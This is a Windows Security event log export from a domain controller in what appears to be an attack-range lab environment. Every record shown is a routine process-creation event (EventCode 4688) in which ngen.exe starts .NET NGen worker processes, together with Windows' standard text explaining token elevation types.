Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 27c -InterruptEvent 0 -NGENProcess 2c0 -Pipe 280 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254751 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd88 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2a0 -InterruptEvent 0 -NGENProcess 2c8 -Pipe 29c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254750 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x920 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 2cc -Pipe 290 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254749 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254756 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1010 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 2e0 -Pipe 2f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254755 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f8 -InterruptEvent 0 -NGENProcess 294 -Pipe 2dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254754 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2a4 -Pipe 2c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254753 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 2f8 -Pipe 2c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254759 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 2ac -Pipe 2d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254758 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f8 -InterruptEvent 0 -NGENProcess 304 -Pipe 308 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254757 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 27c -InterruptEvent 0 -NGENProcess 308 -Pipe 2c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254762 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f8 -InterruptEvent 0 -NGENProcess 300 -Pipe 304 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254761 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2a0 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254760 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 318 -InterruptEvent 0 -NGENProcess 304 -Pipe 2ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254763 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 27c -Pipe 30c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254769 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x101c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2fc -InterruptEvent 0 -NGENProcess 318 -Pipe 2a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254768 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 32c -Pipe 320 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254767 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 298 -Pipe 2e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254766 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 32c -InterruptEvent 0 -NGENProcess 320 -Pipe 27c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - 